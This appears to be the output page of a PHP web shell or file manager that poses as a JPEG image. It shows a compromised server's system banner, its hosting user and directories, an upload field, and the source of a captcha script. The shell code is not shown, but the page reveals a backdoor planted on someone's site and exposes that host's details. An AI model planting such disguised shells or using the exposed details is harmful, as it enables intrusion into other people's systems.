ÿØÿà JFIF ` ` ÿþ
Server : Apache System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : tkt_travelbus ( 1137) PHP Version : 7.0.0p1 Disable Function : mysql_pconnect Directory : /tkt_travelbus/www/bbs/ |
Upload File : |
<? include_once("_common.php"); header("Content-Type: text/html; charset=$g4[charset]"); require(dirname(__FILE__).'/kcaptcha_config.php'); include('kcaptcha.php'); /* session_start(); $_SESSION['captcha_keystring'] = (string)mt_rand(10000,999999); $captcha = new KCAPTCHA(); $captcha->setKeyString($_SESSION['captcha_keystring']); if($_REQUEST[session_name()]){ $_SESSION['captcha_keystring'] = $captcha->getKeyString(); } echo $captcha->getKeyString(); */ while(true){ $keystring=''; for($i=0;$i<$length;$i++){ $keystring.=$allowed_symbols{mt_rand(0,strlen($allowed_symbols)-1)}; } if(!preg_match('/cp|cb|ck|c6|c9|rn|rm|mm|co|do|cl|db|qp|qb|dp|ww/', $keystring)) break; } //session_start(); set_session("captcha_keystring", $keystring); $captcha = new KCAPTCHA(); $captcha->setKeyString(get_session("captcha_keystring")); echo md5($captcha->getKeyString()); ?>